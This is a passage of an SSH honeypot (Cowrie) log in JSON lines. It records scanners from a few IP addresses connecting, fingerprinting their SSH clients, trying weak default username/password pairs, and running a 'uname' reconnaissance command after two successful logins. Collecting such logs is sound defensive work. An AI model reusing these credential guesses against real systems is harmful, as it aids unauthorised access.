openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:57.009344Z","src_ip":"141.11.88.14","session":"cef49c36ccda","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:59.048527Z","src_ip":"141.11.88.14","session":"cef49c36ccda","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:59.500309Z","src_ip":"141.11.88.14","session":"cef49c36ccda","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:59.503605Z","src_ip":"141.11.88.14","session":"cef49c36ccda","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:59.713268Z","src_ip":"141.11.88.14","session":"cef49c36ccda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:03:59.717515Z","src_ip":"141.11.88.14","session":"cef49c36ccda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38426,"dst_ip":"10.17.0.5","dst_port":22,"session":"82212b76f1ce","protocol":"ssh","message":"New connection: 141.11.88.14:38426 (10.17.0.5:22) [session: 82212b76f1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:03.342564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:03.720795Z","src_ip":"141.11.88.14","session":"82212b76f1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:03.724368Z","src_ip":"141.11.88.14","session":"82212b76f1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:04.645896Z","src_ip":"141.11.88.14","session":"82212b76f1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:06.027694Z","src_ip":"141.11.88.14","session":"82212b76f1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38476,"dst_ip":"10.17.0.5","dst_port":22,"session":"e590ccfecb5a","protocol":"ssh","message":"New connection: 141.11.88.14:38476 (10.17.0.5:22) [session: e590ccfecb5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:11.075553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:11.113678Z","src_ip":"141.11.88.14","session":"e590ccfecb5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:11.410298Z","src_ip":"141.11.88.14","session":"e590ccfecb5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:12.114165Z","src_ip":"141.11.88.14","session":"e590ccfecb5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:13.223853Z","src_ip":"141.11.88.14","session":"e590ccfecb5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":57184,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa36d7d996aa","protocol":"ssh","message":"New connection: 141.11.88.14:57184 (10.17.0.5:22) [session: fa36d7d996aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:20.141685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:20.190371Z","src_ip":"141.11.88.14","session":"fa36d7d996aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:20.273981Z","src_ip":"141.11.88.14","session":"fa36d7d996aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brenda","password":"brenda","message":"login attempt [brenda/brenda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:20.913129Z","src_ip":"141.11.88.14","session":"fa36d7d996aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:22.007124Z","src_ip":"141.11.88.14","session":"fa36d7d996aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14644,"dst_ip":"10.17.0.5","dst_port":22,"session":"b461777e61dc","protocol":"ssh","message":"New connection: 141.11.88.14:14644 (10.17.0.5:22) [session: b461777e61dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:29.410398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:29.499487Z","src_ip":"141.11.88.14","session":"b461777e61dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:29.502416Z","src_ip":"141.11.88.14","session":"b461777e61dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:30.626727Z","src_ip":"141.11.88.14","session":"b461777e61dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:31.125689Z","src_ip":"141.11.88.14","session":"b461777e61dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:31.128480Z","src_ip":"141.11.88.14","session":"b461777e61dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:31.295728Z","src_ip":"141.11.88.14","session":"b461777e61dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:31.300374Z","src_ip":"141.11.88.14","session":"b461777e61dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":58746,"dst_ip":"10.17.0.5","dst_port":22,"session":"21333b8bee10","protocol":"ssh","message":"New connection: 103.143.231.24:58746 (10.17.0.5:22) [session: 21333b8bee10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:33.054962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:33.058892Z","src_ip":"103.143.231.24","session":"21333b8bee10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:33.126935Z","src_ip":"103.143.231.24","session":"21333b8bee10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin_888","message":"login attempt [root/admin_888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:33.430981Z","src_ip":"103.143.231.24","session":"21333b8bee10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:34.501631Z","src_ip":"103.143.231.24","session":"21333b8bee10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14690,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a143bf69fc3","protocol":"ssh","message":"New connection: 141.11.88.14:14690 (10.17.0.5:22) [session: 2a143bf69fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:37.355595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:37.429311Z","src_ip":"141.11.88.14","session":"2a143bf69fc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:37.528102Z","src_ip":"141.11.88.14","session":"2a143bf69fc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345","message":"login attempt [ubuntu/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:37.942463Z","src_ip":"141.11.88.14","session":"2a143bf69fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:39.027356Z","src_ip":"141.11.88.14","session":"2a143bf69fc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49318,"dst_ip":"10.17.0.5","dst_port":22,"session":"9415d01f1ec1","protocol":"ssh","message":"New connection: 109.237.96.109:49318 (10.17.0.5:22) [session: 9415d01f1ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:40.887152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:40.890910Z","src_ip":"109.237.96.109","session":"9415d01f1ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:40.985650Z","src_ip":"109.237.96.109","session":"9415d01f1ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"srinivas","message":"login attempt [root/srinivas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:41.266777Z","src_ip":"109.237.96.109","session":"9415d01f1ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:42.362769Z","src_ip":"109.237.96.109","session":"9415d01f1ec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":10264,"dst_ip":"10.17.0.5","dst_port":22,"session":"986c243ad65e","protocol":"ssh","message":"New connection: 141.11.88.14:10264 (10.17.0.5:22) [session: 986c243ad65e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:44.535750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:04:44.611508Z","src_ip":"141.11.88.14","session":"986c243ad65e","protocol":"ssh"}
